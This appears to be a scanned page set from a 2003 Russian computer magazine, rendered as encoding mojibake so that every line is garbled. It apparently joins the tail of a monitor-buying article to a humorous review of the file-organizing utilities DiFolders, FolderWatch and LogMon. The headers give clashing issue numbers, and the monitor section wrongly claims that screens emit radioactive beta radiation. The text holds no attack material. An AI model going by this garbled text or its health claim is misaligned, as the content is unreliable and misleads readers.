âèäîì è ïðèâëåêàòåëüíîé öåíîé.<br />

Îáû÷íî â ìàãàçèíàõ ìíîæåñòâî<br />

ìîíèòîðîâ ïîäêëþ÷àåòñÿ ñ<br />

îäíîìó êîìïüþòåðó ÷åðåç ñïåöèàëüíûé<br />

õàá – â ðåçóëüòàòå èçîáðàæåíèå<br />

âûãëÿäèò ðàçìûòûì è íåêà-<br />

÷åñòâåííûì – îá ýòîì, ñîáñòâåííî,<br />

è ãîâîðÿò êîíñóëüòàíòû. Îáÿçàòåëüíî<br />

ïîïðîñè îòäåëüíî ïîäêëþ÷èòü<br />

ìîíèòîð ê êîìïüþòåðó,<br />

÷òîáû òû ìîã íîðìàëüíî îáñëåäîâàòü<br />

ïîíðàâèâøóþñÿ ìîäåëü íà<br />

ïðåäìåò èñêàæåíèé.<br />

Õîðîøèé ìîíèòîð äîëæåí èìåòü<br />

àíòèñòàòè÷åñêîå è àíòèáëèêîâîå<br />

ïîêðûòèå – ýòî î÷åíü ïðèÿòíî,<br />

êîãäà ðàáîòå çà êîìïüþòåðîì íå<br />

ìåøàþò áëèêè, è ê äèñïëåþ íå<br />

ïðèëèïàåò ïûëü, à ïðè ïðèêîñíîâåíèè<br />

ê ïîâåðõíîñòè ýêðàíà íå<br />

ðàçäàåòñÿ òðåñê ñòàòè÷åñêîãî<br />

ýëåêòðè÷åñòâà. Âñå âûïóñêàåìûå<br />

ìîíèòîðû ïðîõîäÿò àòòåñòàöèþ<br />

íà ñîîòâåòñòâèå ýêîëîãè÷åñêèì<br />

íîðìàì – òàê íàçûâàåìûì ñòàíäàðòàì<br />

ÒÑÎ. Òóò, âîïðåêè îæèäàíèÿì,<br />

óñåðäñòâîâàòü, ïåðåïëà÷èâàÿ<br />

ëèøíèå äåíüãè, íå ñëåäóåò –<br />

äîïóñòèìûå óðîâíè èçëó÷åíèÿ â<br />

ñòàíäàðòàõ ÒÑÎ92, 95 è 99 îäèíàêîâû,<br />

ðàçëè÷àþòñÿ ëèøü íå<br />

âëèÿþùèå ïðÿìî íà òâîå çäîðîâüå<br />

ïàðàìåòðû, òðàòèòü äåíüãè<br />

íà êîòîðûå åäâà ëè ñòîèò.<br />

Ðàáîòàþùèé ìîíèòîð èçëó÷àåò äîâîëüíî â áîëüøîì ñïåêòðå: ýòî è<br />

ðåíòãåíîâñêèå ëó÷è, è èíôðàêðàñíûé äèàïàçîí, è ðàäèîàêòèâíîå áåòàèçëó÷åíèå,<br />

è ýëåêòðîñòàòè÷åñêèå ïîëÿ. Òàê ÷òî âðà÷è íå ðåêîìåíäóþò<br />

äîëãî ñèäåòü ïåðåä ìîíèòîðîì. Åñëè æå ýòî òâîÿ ðàáîòà, ñòàðàéñÿ äåëàòü<br />

ïåðåðûâû, ÷òîáû äàòü ãëàçàì îòäîõíóòü, è áîëüøå íàõîäèñü íà<br />

ñâåæåì âîçäóõå äî è ïîñëå ðàáîòû. Ýòî ñåðüåçíî, ýòî òâîå çäîðîâüå.<br />

Îáû÷íî ïðè îïèñàíèè õàðàêòåðèñòèê ìîíèòîðà, óêàçûâàÿ ïàðàìåòð Dot<br />

Pitch – “çåðíî ýêðàíà”, ïðîèçâîäèòåëü èëè ïðîäàâåö îïóñêàåò èíôîðìàöèþ<br />

î òèïå öâåòîäåëèòåëüíîé ìàñêè – à â ðàçíûõ ìàñêàõ ïîä ýòèì ïàðàìåòðîì<br />

ïîíèìàþòñÿ íåìíîãî ðàçíûå âåëè÷èíû, òàê ÷òî ïðè ïîêóïêå ìîíèòîðà îáÿçàòåëüíî<br />

âûÿñíè, êàêîãî òèïà èñïîëüçóåòñÿ öâåòîäåëèòåëüíàÿ ìàñêà.<br />

5 Þíèêñîèä 6 X-Còèëü 7


ÕÀÊÅÐ\¹53\Ìàé\2003<br />

PC_Zone<br />

ÍÀÊÎÏÈÒÅËÈ ÔÀÉËÎÂ<br />

ÍÀÊÎÏÈÒÅËÈ<br />

A.P.$lasH<br />

ÑÀÌ ÑÅÁÅ<br />

(ap-slash@tfs.kiev.ua)<br />

ÈÌÈÒÀÒÎÐ<br />

ÔÀÉËÎÂ<br />

- Çíàëè áû âû, êàêàÿ ó ìåíÿ òÿæåëàÿ ðàáîòà.<br />

- Ìàìà äîðîãàÿ... È ãäå æå âû ðàáîòàåòå<br />

- Íà êîíâåéåðå. ß ñîðòèðóþ àïåëüñèíû. Ãíèëûå<br />

- â îäíó áî÷êó, ñâåæèå - â äðóãóþ.<br />

- È âû íàçûâàåòå ýòî ðàáîòîé<br />

- Îé, äà ÷òî âû ïîíèìàåòå ß ïîñòîÿííî âûíóæäåí<br />

ïðèíèìàòü îòâåòñòâåííûå ðåøåíèÿ.<br />

È òàê êàæäûé äåíü. Kazaa, WinMX, áðàóçåð... Ó êàæäîãî èç íèõ åñòü îòäåëüíàÿ ïàïêà, â êîòîðóþ íåïðåðûâíûì ïîòîêîì<br />

ïàäàåò áåñöåííûé ñîôò è ãåíèàëüíàÿ ìóçûêà. Íè â ÷åì íå ïîâèííûå êàòàëîãè ðàçðîñëèñü äî àáñîëþòíîãî íåïðèëè-<br />

÷èÿ. Ýëåìåíòàðíàÿ ïðîñüáà íàéòè â ýòîì áåäëàìå ïðèãëÿíóâøóþñÿ MP3’øêó ïåðåäàåòñÿ â òâîåé ñåìüå ïî íàñëåäñòâó.<br />

Íåîáõîäèìî êàê ìîæíî ñêîðåå ïðèíÿòü ìåðû è ïðèâåñòè â ïîðÿäîê ñâîþ êîëëåêöèþ. Ïîëóîáíàæåííàÿ êèòàéñêàÿ ñëóæàíêà<br />

íà âñå ýòî âðåìÿ îáîéäåòñÿ íå äåøåâëå êóêóðóçíèêà, äàæå åñëè ñëóæàíêó ìû áåðåì áåç ìàññàæà è êîëûáåëüíîé.<br />

 ëþáîì ñëó÷àå, ýòîò âàðèàíò îòáðàñûâàåì. Áóäåì èñêàòü äåøåâîãî, íî ñîçíàòåëüíîãî ýëåêòðîííîãî àññèñòåíòà.<br />

ÑÏÎÑÎÁÛ ÀÂÒÎÌÀÒÈ×ÅÑÊÎÉ ÑÎÐÒÈÐÎÂÊÈ<br />

<br />

DiFolder - îòñþäà è íà÷íåì<br />

Âîçìîæíî, ÿ íåïðàâ (ïóñòü áîëåå îïûòíûå òîâàðèùè<br />

ìåíÿ ïîïðàâÿò), îäíàêî ìíå êàæåòñÿ, ÷òî óäàëûå ïðîãðàììèñòû<br />

èç DiFolders Software ÷åñòíî çàñëóæèëè ÿùèê<br />

ïîðòâåéíà çà ñîçäàíèå èíòåðôåéñà ê ñâîåìó äåòèùó.<br />

Êðóæîê èíôîðìàòèêè çàõâàòèëè áåçæàëîñòíûå òåððîðèñòû<br />

ñ ïîëèãðàôè÷åñêîãî ôàêóëüòåòà. Èìåííî òàêèì ÿ<br />

ïðåäñòàâëÿë ñåáå âíåøíèé âèä ïðîãðàììû, ñîçäàííîé<br />

âûæèâøèìè ïîñëå ïîäîáíîãî ïåðäèìîíîêëÿ (ïðèâåò<br />

Ýêñëåðó). È ýòî ïðè òîì, ÷òî íàïèñàíà óòèëèòà íà ÷èñòîì<br />

Delphi, â êîòîðîì íîâè÷êà ïîñòîÿííî ñîáëàçíÿþò<br />

ôðèâàðíûìè êîìïîíåíòàìè. À âåäü ýòî ðàâíîñèëüíî<br />

çàòî÷åíèþ â êîíäèòåðñêîé ëàâêå. ×åðåç ïàðó ìåñÿöåâ<br />

òåáÿ òàê ðàçáýõàåò... Íè â îäèí ÊÄ ÏÇÓ íå ïðîëåçåøü.<br />

Áåç øóòîê, èíòåðôåéñ ãðàìîòíûé. Ðàáîòàòü ñ DiFolders<br />

- îäíî óäîâîëüñòâèå. Ýòî íå The Bat!, â êîòîðîì ïîëüçîâàòåëü<br />

ïÿòíàäöàòü ìèíóò ëîìàåò ãîëîâó íàä òåì, ïî-<br />

÷åìó SMIME Preferences íàõîäèòñÿ â Options, à PGP<br />

Preferences - â Tools. Íà ýêðàíå - íåîáõîäèìûé è òùàòåëüíî<br />

ïðîäóìàííûé ìèíèìóì. Åäèíñòâåííûé ëèøíèé<br />

ïóíêò, êîòîðûé ÿ îáíàðóæèë, ýòî "Enter Registration<br />

Code...". Ñîîáùèòü ðàçðàáîò÷èêàì, ÷òî ëè Íàâåðíîå,<br />

èç îòëàäî÷íîé âåðñèè çàáûëè óáðàòü.<br />

DiFolder - êðàñîòà ñïàñåò ìèð<br />

28 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


Èòàê, âåðíåìñÿ ê íàøèì ôàéëàì. Ñîçäàòåëè ïðîãðàììû<br />

- òàêòè÷íûå ðåáÿòà è ñòåñíÿþòñÿ íàçûâàòü âåùè<br />

ñâîèìè èìåíàìè, ïîýòîìó âìåñòî "ïàïêà ñ êó÷åé âñÿêîãî<br />

õëàìà" îíè ãîâîðÿò "DiFolder". Òàêîé ñåáå ñïåöèàëüíûé<br />

òåðìèí. Îòñþäà è íàçâàíèå ïðîãðàììû - DiFolders,<br />

ðàáîòà ñ êîòîðûìè çàêëþ÷àåòñÿ â ñîçäàíèè îïðåäåëåííîãî<br />

íàáîðà ïðàâèë. Êàæäîå ïðàâèëî ñîîòâåòñòâóåò<br />

óêàçàííîìó êàòàëîãó íà òâîåì âèí÷åñòåðå. Îíî ñðàáàòûâàåò<br />

ïðè ñìåíå ñîäåðæèìîãî ýòîé ïàïêè, ïîñëå çàïóñêà<br />

è ïåðåä âûõîäîì èç ïðîãðàììû, à òàêæå ïî òàéìåðó,<br />

÷åðåç îïðåäåëåííûå ïðîìåæóòêè âðåìåíè. Íà<br />

ëþáîå ïðàâèëî ìîæíî íàâåñèòü öåëóþ ñâÿçêó óñëîâèé ñ<br />

ìàñêàìè äëÿ ôàéëîâ, ïîäëåæàùèõ ñîðòèðîâêå. Êàê æå<br />

ýòî áåçîáðàçèå ðàáîòàåò Ñìîòðè... Êàê òîëüêî èçìåíÿåòñÿ<br />

ñîäåðæèìîå êàòàëîãà (÷òî-òî äîáàâèëè, ÷òî-òî<br />

óäàëèëè... ïî-âñÿêîìó áûâàåò), ñòàðòóåò íàçíà÷åííîå<br />

äëÿ íåãî ïðàâèëî. Äàëåå DiFolders ïðîâåðÿåò, íå âàëÿþòñÿ<br />

ëè â ýòîì êàòàëîãå ôàéëû, ìàñêè äëÿ êîòîðûõ òû<br />

çàáîòëèâî íàáèðàë â óñëîâèÿõ. Âàëÿþòñÿ Îé-âýé, öâåòåì<br />

è ïàõíåì. Âûïîëíÿåòñÿ ñîîòâåòñòâóþùåå äåéñòâèå.<br />

Ôàéëû ìîæíî ñêîïèðîâàòü, ïåðåìåñòèòü èëè óäàëèòü.<br />

Íàçíà÷åíèå ïîñëåäíåãî äåéñòâèÿ (Nothing) ÿ òàê è íå<br />

ïîíÿë. ×åì-òî íàïîìèíàåò êâàäðàò Ìàëåâè÷à. Âïðî÷åì,<br />

íå èñêëþ÷åíî, ÷òî ñ åãî ïîìîùüþ ìîæíî ïðîñòî âðåìåííî<br />

îòêëþ÷èòü íåíóæíîå ïðàâèëî. Ðàçóìååòñÿ, íå ñ<br />

ïîìîùüþ êâàäðàòà, íî ðå÷ü íå îá ýòîì.<br />

Èíòåðåñíàÿ îñîáåííîñòü ôàéëîâîé ìàñêè - ïîìèìî<br />

ñòàíäàðòíûõ * è , ïîçâîëÿþùèõ ðåãóëèðîâàòü êîëè-<br />

÷åñòâî ïðîèçâîëüíûõ ñèìâîëîâ, â ïðîãðàììå ïðåäóñìîòðåíû<br />

òàê íàçûâàåìûå äèàïàçîíû. Íàïðèìåð,<br />

ñòðîêà [f-h]*ker.zip íàéäåò âñå ôàéëû, ó êîòîðûõ ïåðâàÿ<br />

áóêâà f,g èëè h, è êîòîðûå çàêàí÷èâàþòñÿ íà ker.<br />

Íà ÷òî çàêàí÷èâàþòñÿ Âîò èìåííî. Âîçìîæíûå âàðèàíòû<br />

ïðèäóìàé ñàìîñòîÿòåëüíî. Îñòàëîñü óêàçàòü<br />

ïóíêò íàçíà÷åíèÿ (Destination file). È çäåñü íå îáîøëîñü<br />

áåç ïîëåçíûõ ñþðïðèçîâ. Â íàçâàíèå öåëåâîé<br />

ïàïêè ìîæíî äîáàâèòü ìàêðîñû. Åñòü âïîëíå çàêîíîìåðíûå<br />

- %name% (èìÿ èñõîäíîãî ôàéëà áåç ðàñøèðåíèÿ),<br />

%ext% (åãî ðàñøèðåíèå), %path% (ïóòü), à<br />

åñòü è íåñêîëüêî, êàê áû ýòî ñêàçàòü... ïðè÷óäëèâûõ.<br />

Íàïðèìåð, åñëè òû ñîáðàëñÿ êîïèðîâàòü MP3-ôàéëû,<br />

èñïîëüçóé %mp3title% (íàçâàíèå), %mp3artist% (àâòîð),<br />

%mp3album% (àëüáîì) è ò.ä. Html-ñòðàíèöó òîæå<br />

íå îáèäåëè - %htmltitle% äîáàâèëè. Ýòî åå çàãîëîâîê,<br />

ñêîðåå âñåãî. Äà, äåéñòâèòåëüíî. Â ñïðàâêå òàê è<br />

íàïèñàíî. È ïðî ìíîãîÿçû÷íûé èíòåðôåéñ íå çàáûëè,<br />

õîòÿ ìíîãî íàì è íå íóæíî - âïîëíå õâàòèò ðóññêîãî.<br />

À åñëè çàþçàòü \\Server\users\docs\my-<br />

%name%.%ext% Îíà åùå è ïî ñåòè áåãàòü óìååò. Êàê<br />

ãîâîðèòñÿ, ìíå áû òàêóþ ïðîãðàììó, ÿ áû â èíñòèòóò<br />

íå õîäèë. Æàëü, ÷òî óæå è òàê íå íóæíî.<br />

Äîìàøíÿÿ ñòðàíèöà ïðîãðàììû<br />

http://logmon.bitrix.ru/logmon/eng<br />

Ïðÿìàÿ ññûëêà íà àðõèâ ïðîãðàììû<br />

http://logmon.bitrix.ru/logmon/files/LOGMON.ZIP<br />

Âñå-òàêè èíòåðåñíî èíîãäà ïî÷èòàòü ñïðàâî÷íûå ôàéëû.<br />

Îñîáåííî ðàçäåë, â êîòîðîì ðàñïèñàíî ïðåäíàçíà-<br />

÷åíèå òîé èëè èíîé ïðîãðàììû. FolderWatch è<br />

DiFolders, ÷òî íàçûâàåòñÿ, "â îäèí ñàäèê õîäèëè" -<br />

î÷åíü óæ ïîõîæè ýòè äâå ïðèáëóäû, îäíàêî öåëè ó ðàçðàáîò÷èêîâ<br />

áûëè ðàçíûå. Ðàçãðåáàòü õëàì â êàòàëîãàõ<br />

Íå áàðñêîå ýòî äåëî. Ìàñòåðà èç Diginaut Ltd. ìåäèòèðîâàëè<br />

íà ôðàçó "ðåçåðâíîå êîïèðîâàíèå". Íàïðèìåð,<br />

òåáÿ çîâóò Ñåðãåé Ëóêüÿíåíêî (Ñàìóèë Ìàðøàê, Àãíèÿ<br />

Áàðòî), è òû íàáèâàåøü î÷åðåäíóþ íåòëåíêó â ñòàíäàðòíîì<br />

áëîêíîòå. Ìåäèòèðóåì âìåñòå. Çàïåâàé: "Îììàíè-ïàäìý-õóìì...<br />

Îì-ìàíè...". Î ÷åì ýòî ÿ Àõ, äà.<br />

Ðàçâå â íàñòðîéêàõ ýòîé ÷óìîâîé óòèëèòû åñòü àâòîìàòè÷åñêîå<br />

ñîõðàíåíèå ðåçåðâíîé êîïèè È ôàéëû âèäà<br />

Book1.bak, Book2.bak, Book3.bak îíà òåáå íå ñîçäàñò,<br />

õîòü òû êîñòüìè ëÿæåøü. À âåäü ýòî îñíîâà îñíîâ. Òîëêîâûå<br />

ñëîâàðè íàçûâàþò òàêèå ôîêóñû incremental<br />

backup. Áåç íåãî òû îáðå÷åí íà ïîæèçíåííûå "Ìåðòâûå<br />

äóøè 2" è öåëèêîì çàâèñèøü îò ýëåêòðèêîâ. À Diginaut<br />

Ltd. ïîäñóåòèëàñü... È âåäü ïîëó÷èëîñü. Ðàçâå ÷òî ñî<br />

ñïëåøñêðèíîì ïðîãàäàëè. "Òðàôàðåò ðàñïóõøåé ñîáà÷êè<br />

÷àó-÷àó íà ñòåíå öåìåíòíîãî çàâîäà (çóáèëî, æåëòàÿ<br />

êðàñêà)". Íî ÿ òåáÿ óìîëÿþ, ýòî æå îòêëþ÷àåòñÿ.<br />

DiFolder - íîâîå ïðàâèëî<br />

<br />

FolderWatch - îáèòåëü áëèæàéøåãî ñîñåäà<br />

FolderWatch - àíãåë-õðàíèòåëü äåòåêòèâîâ<br />

Ìàðèíèíîé<br />

Îñíîâíûå ïðèíöèïû ðàáîòû ñ ïðîãðàììîé íè÷åì íå îòëè÷àþòñÿ<br />

îò DiFolders, òàê ÷òî ïî âòîðîìó ðàçó ïîâòîðÿòüñÿ<br />

íå áóäåì. Âñå òîò æå êîíòðîëü íàä èçìåíåíèåì<br />

ñîäåðæèìîãî ëþáîé ïàïêè, âñå òå æå ïðàâèëà. Ïîãîâîðèì<br />

î ðàçëè÷èÿõ è íà÷íåì, ðàäè ðàçíîîáðàçèÿ, ñ íåäîñòàòêîâ.<br />

Èç ñïèñêà âîçìîæíûõ äåéñòâèé ïðîïàë ïóíêò<br />

Delete. È êàê òåïåðü óäàëÿòü ôàéëû Íàïðèìåð, òðèæäû<br />

çíàìåíèòûé Restorator (ïîìíèøü òàêîé ðåäàêòîð ðåñóðñîâ)<br />

óïðÿìî ñîçäàåò â ñâîåì êàòàëîãå íàáîð<br />

ñïðàâî÷íûõ ôàéëîâ – HTML-ñòðàíèöû êèëîáàéò íà<br />

400. Çà÷åì ß æå åãî âñå ðàâíî íå ÷èòàþ. Íå ïî-


PC_Zone<br />

ÕÀÊÅÐ\¹51\Ìàé\2003<br />

ÍÀÊÎÏÈÒÅËÈ ÔÀÉËÎÂ<br />

A.P.$lasH (ap-slash@tfs.kiev.ua)<br />

íèìàåò. Òàê âîò, DiFolders ëåãêî óäàëÿë âñå ýòî áåçîáðàçèå.<br />

 ïðèíöèïå, ìîæíî è â Recycled ïåðåìåñòèòü, íî<br />

âåäü íåóäîáíî æå. Êîðçèíó åùå ÷èñòèòü íóæíî, è íå<br />

ôàêò, ÷òî íà òâîåé ìàøèíå ýòî ïðîèñõîäèò àâòîìàòè÷åñêè.<br />

ßçûê èíòåðôåéñà áåç õèðóðãè÷åñêîãî âìåøàòåëüñòâà<br />

èçìåíèòü íåâîçìîæíî, òàê ÷òî ïëàêàòèê ñ íàäïèñüþ<br />

"Ìàÿ òâàÿ íè â çóá íîãîé" îíè ìîãóò ñìåëî ïîâåñèòü íà<br />

äâåðè ó âõîäà â ñàìûé ãëàâíûé îôèñ. Íåäîñòàòîê íîìåð<br />

ñëåäóþùèé (è õâàòèò íà ñåãîäíÿ) â òîì, ÷òî ñïèñêè ïðàâèë<br />

ó FolderWatch íå ìíîãîñëîéíûå (êàòàëîã + ñïèñîê<br />

ôàéëîâûõ ìàñîê), à îäèíàðíûå (îäèí ïàïêà - îäèí ìàñêà).<br />

Ñîîòâåòñòâåííî, ñ îòäûõîì ïîëîñå ïðîêðóòêè ãëàâíîãî<br />

îêíà ïðîãðàììû îïðåäåëåííî íå ïîïåðëî.<br />

FolderWatch - çàðÿæàåì ïðàâèëî<br />

 îñòàëüíîì ïðåòåíçèé íåò, îñòàëèñü îäíè äîñòîèíñòâà.<br />

FolderWatch èíòåãðèðóåòñÿ â ïðîâîäíèê, ïîñëå ÷åãî<br />

ñîçäàíèå íîâîãî ïðàâèëà çàíèìàåò ñ÷èòàííûå ñåêóíäû.<br />

Ñëåæåíèå çà ëþáûì êàòàëîãîì âêëþ÷àåòñÿ / âûêëþ÷àåòñÿ<br />

îäíèì ùåë÷êîì ìûøêè (è äëÿ ýòîãî ñîâñåì<br />

íå îáÿçàòåëüíî óäàëÿòü ïðàâèëî èç ñïèñêà). Êîíòåêñòíîå<br />

ìåíþ äëÿ êàæäîãî ïðàâèëà ïîçâîëÿåò îòêðûòü â<br />

ïðîâîäíèêå êàê èñõîäíóþ, òàê è öåëåâóþ ïàïêó. Çàïóñòè<br />

â ìåíÿ êàìíåì, åñëè ýòî íå çäîðîâî. (Áðîñàé, áðîñàé...<br />

Æóðíàë âñå ñòåðïèò.) Ïðîãðàììà ðàñïîëàãàåò<br />

íåïëîõèì øåäóëåðîì - ïðîâåðêó ìîæíî çàïóñêàòü åæåìèíóòíî,<br />

åæå÷àñíî, åæåäíåâíî, åæåíåäåëüíî è åæåìåñÿ÷íî.<br />

Îò ýòèõ åæåé â ãëàçàõ òåìíååò. Öåëàÿ ôåðìà.<br />

Êàê ÿ óæå ãîâîðèë, ñïèñîê ïðàâèë ó FolderWatch îäíîñëîéíûé,<br />

íî äàæå ýòîò ôàêò ïðåâðàùàåòñÿ â äîñòîèíñòâî,<br />

ò.ê. òåïåðü âñå ìàñêè, êàòàëîãè è äåéñòâèÿ - êàê<br />

íà ëàäîíè, ðàçëèíååííûå è â ñòîëáèê. Ñ DiFolders áûëî<br />

ñëîæíåå - åñëè íå îòêðîåøü ïðàâèëî íà ðåäàêòèðîâàíèå,<br />

áóäåøü äî ïîñèíåíèÿ èãðàòü â óãàäàéêó. Êñòàòè,<br />

ïîâîçèâøèñü ñ DiFolders, ÿ çàìåòèë, ÷òî è ó<br />

FolderWatch íà èíòåðôåéñå êàêîé-òî «Register» âûñêî-<br />

÷èë. ×åðò âîçüìè, íåóæåëè ýòî çàðàçíî!!<br />

Äîìàøíÿÿ ñòðàíèöà ïðîãðàììû<br />

www.diginaut.com/shareware/fw<br />

Íåáîëüøîé FAQ ïî ðàáîòå ñ óòèëèòîé (íà àíãëèéñêîì)<br />

www.diginaut.com/shareware/fw/faq.htm<br />

Óñòàíîâî÷íûé àðõèâ<br />

www.diginaut.com/shareware/fw/archive/fwatch20.zip<br />

<br />

Ïðîñòîòà, ñêðîìíîñòü è ìèíèìàëüíûé íàáîð âîçìîæíîñòåé<br />

äàëåêî íå âñåãäà ÿâëÿþòñÿ èäåàëîì þçàáèëèòè.<br />

Ïðåäñòàâü - íåîáõîäèìî óäàëèòü çóá, è òû ñèäèøü ó âðà÷à<br />

â ñîîòâåòñòâóþùåì êðåñëå. Èç ãëóáèí ñòîìàòîëîãè÷åñêîãî<br />

êàáèíåòà íà òåáÿ ñêà÷åò õðóïêàÿ ìåäñåñòðè÷êà, ðàñêðó÷èâàÿ<br />

íàä ãîëîâîé àëåáàðäó è ðû÷à "Îì-ìà-íà, èòèòüñêàÿ<br />

ñèëà!". Ê ÷åìó ýòîò ãðóáûé ïåðâîáûòíûé ïîäõîä Ãîðàçäî<br />

LogMon - îäèíîêàÿ õèæèíà<br />

ïðèÿòíåå, êîãäà ó íåå â ðóêàõ èçÿùíàÿ áîðìàøèíêà. Ñëîæíåå<br />

àëåáàðäû, íî ïîëüçû íà ïîðÿäîê áîëüøå. Ðàçóìååòñÿ,<br />

ëó÷øå òóäà âîîáùå íå õîäèòü, íî ìû îòâëåêëèñü... Òàê âîò,<br />

LogMon è åñòü òà ñàìàÿ áîðìàøèíêà. Íåò, ÿ íå õî÷ó, ÷òîáû<br />

ýòà ïðîãðàììà àññîöèèðîâàëàñü ó òåáÿ ñ íåïðèÿòíûìè<br />

âåùàìè. Ñêàæåì òàê, íà ñåãîäíÿøíèé äåíü ýòî ñàìûé<br />

óìåëûé ìîíèòîð ôàéëîâ è êàòàëîãîâ. Åñëè òû çíàêîì ñ<br />

áîëåå ôóíêöèîíàëüíîé ïðîãðàììîé èç àíàëîãè÷íîãî ñåìåéñòâà,<br />

íå ñî÷òè çà òðóä, äàé ìíå çíàòü. Íè÷åãî óäèâèòåëüíîãî<br />

â òîì, ÷òî è ýòà óòèëèòà ñîçäàâàëàñü íå òîëüêî<br />

äëÿ ÷èñòêè è ñîðòèðîâêè íàøèõ ìíîãîñòðàäàëüíûõ êàòàëîãîâ.<br />

Ïî ñëîâàì ñàìîãî àâòîðà (à êðàñèâåå â äàííîì ñëó÷àå<br />

è íå ñêàæåøü), îñíîâíîå íàçíà÷åíèå ïðîãðàììû - àâòîìàòèçèðîâàòü<br />

ðóòèííûå îïåðàöèè, îñíîâàííûå íà ôàéëîâîì<br />

îáìåíå, à òàêæå îòñëåæèâàòü ñîñòîÿíèå ïðîöåññîâ, îñíîâûâàÿñü<br />

íà èõ ôàéëîâîé àêòèâíîñòè (êîíåö öèòàòû).<br />

LogMon - à ñ ïåðâîãî âçãëÿäà è íå ñêàæåøü...<br />

LogMon - îé, à çà øî õâàòàòüñÿ, íà øî æàòü<br />

Ñêëàäûâàåòñÿ òàêîå âïå÷àòëåíèå, ÷òî àâòîð áåãàë ïî<br />

ãîðîäó ñ äèêòîôîíîì è ñïðàøèâàë: "Ìóæèêè, à êàêèå<br />

ïðèáàìáàñû ðóëÿò è ðåøàþò â ôàéëîâîì ìîíèòîðå<br />

Òàê, äëÿ ñòàòèñòèêè...". Ñðàçó âèäíà ðàçíèöà â ïîäõîäàõ.<br />

Ïðîãðàììû äëÿ äîìîõîçÿåê ïðåäëàãàþò ïîëå äëÿ<br />

ââîäà ðàçìåðîì â ïîëîâèíó ýêðàíà ñ êðóãëîé çåëåíîé<br />

êíîïêîé â âèäå ïëàñòìàññîâîé ðîìàøêè. Îá èçìåíåíèÿõ<br />

äîêëàäûâàþò áèðþçîâûé ñëîíèê è êðîêîäèë ñ äâóìÿ<br />

áàíòèêàìè. Óòèëèòû "äëÿ íàñòîÿùèõ ïðîãðàììåðîâ" ñ<br />

èíòåðôåéñîì ñòðàøíûì êàê àòîìíàÿ âîéíà âûçûâàþò<br />

çàòÿæíîé êîìàòîçíûé îáìîðîê. LogMon - çîëîòàÿ ñåðåäèíà.<br />

Êàê è â ñëó÷àå ñ FolderWatch, âûïîëíåíèå ëþáîãî<br />

ïðàâèëà ìîæíî ïðèîñòàíîâèòü êíîïêîé íà ïàíåëè<br />

èíñòðóìåíòîâ. Äàæå åñëè óñëîâèå íå âûïîëíÿåòñÿ àâòîìàòè÷åñêè,<br />

íàáîð óêàçàííûõ äåéñòâèé ñòàðòóåò ïî<br />

ïåðâîìó òâîåìó ñëîâó àíàëîãè÷íûì îáðàçîì. Åñëè ó<br />

òåáÿ 2000 èëè XP, ïðîãðàììà ñ ðàäîñòüþ îòðàáîòàåò<br />

êàê ñåðâèñ. Åñëè ïðîâåðêà âûïîëíÿåòñÿ ðåãóëÿðíî, îñòàâøååñÿ<br />

âðåìÿ âûñâå÷èâàåòñÿ íå îòõîäÿ îò êàññû, â<br />

ñàìîì ñïèñêå. Çà âîçìîæíîñòü ñîçäàíèÿ êîïèè ïðîèçâîëüíîãî<br />

ïðàâèëà ÿ ãîòîâ ñîáñòâåííîðó÷íî ñïîèòü àâòîðà<br />

(õîòÿ ïî÷òè ñîâñåì íå ïüþ). Âñå ïðàâèëà ìîæíî<br />

ñîõðàíèòü â îòäåëüíîì ôàéëå, ðàñøèðåíèå êîòîðîãî<br />

àññîöèèðóåòñÿ â ñèñòåìå ñ ñàìîé ïðîãðàììîé. Åùå<br />

åñòü âîçìîæíîñòü äîáàâèòü â ñïèñîê ðàçäåëèòåëü, ÷òîáû<br />

ðàçíûå êàòåãîðèè ïðîâåðîê íå ñìåøèâàëèñü ìåæäó<br />

ñîáîé. Ìåëî÷ü Êàêîå òàì... Î÷åíü óäîáíî. Òåïåðü ïîïðîáóåì<br />

ñî âñåé ýòîé ëàâàíäîé âçëåòåòü.<br />

Íà÷íåì ñ òîãî, ÷òî LogMon ïîçâîëÿåò íàáëþäàòü íå<br />

òîëüêî çà êàòàëîãàìè, íî è çà ôàéëàìè. Ñ ÷åãî íà÷íåì<br />

Áåç ðàçíèöû. Ñ îïöèÿìè ìîæíî èãðàòüñÿ ñêîëüêî äóøå<br />

óãîäíî. Ïðîâåðêà âûïîëíÿåòñÿ, âêëþ÷àÿ è âûêëþ÷àÿ<br />

íåîáõîäèìûå ìàñêè, íà ïðåäìåò íàëè÷èÿ/îòñóòñòâèÿ,<br />

óäàëåíèÿ/äîáàâëåíèÿ, ñ ïîäêàòàëîãàìè/â îäèíî÷êó è<br />

âñå ýòî ó÷èòûâàåòñÿ îäíîâðåìåííî. Äëÿ óêàçàíèÿ ïóòè<br />

êî âñåì ôàéëàì è êàòàëîãàì èñïîëüçóþòñÿ ìàêðîñû.<br />

Ñèñòåìíîå âðåìÿ, ëþáûå ïåðåìåííûå îêðóæåíèÿ, ïðîèçâîëüíûé<br />

òåêñò èç ôàéëà, ïîäñòðîêà è ñèìâîë ïî êîäó<br />

(ïåðåïîëíåíèå ñòåêà - ñëèøêîì äëèííûé ñïèñîê). Åñëè<br />

íåõèëàÿ ïà÷êà òâîèõ óñëîâèé âûïîëíÿåòñÿ, LogMon ïîçâîëÿåò<br />

ñîçäàòü ïåðå÷åíü ôàéëîâ, îòîáðàçèòü îêíî ñ<br />

îïîâåùåíèåì, âîñïðîèçâåñòè çâóêîâîé ôàéë, ñêîïèðîâàòü/ïåðåìåñòèòü/óäàëèòü<br />

ôàéëû, çàêðûòü îêíî ëþáîé<br />

ïðîãðàììû (ïî êðàéíåé ìåðå, ÷åñòíî è áëàãîðîäíî ïîïûòàåòñÿ<br />

ýòî ñäåëàòü). È ñàìàÿ âêóñíàÿ îñîáåííîñòü -<br />

ýòà óòèëèòà íå îãðàíè÷èâàåò òåáÿ îäíèì äåéñòâèåì äëÿ<br />

îäíîé ïðîâåðêè. Òåáå íóæíî áîëüøå Äà íà çäîðîâüå.<br />

Âîò ñïèñîê, çàïîëíÿé. Ìû æå òâîð÷åñêèå ëþäè, âåðíî<br />

Ñìóùàåò ëèøü îäíî - ïðîãðàììà óæå î÷åíü äàâíî íå<br />

îáíîâëÿëàñü. È, òåì íå ìåíåå, DiFolders è FolderWatch<br />

åùå ñëèøêîì äàëåêî, òàê ÷òî âðåìåíè íà âíåçàïíóþ<br />

ðåèíêàðíàöèþ ó àâòîðà õîòü îòáàâëÿé.<br />

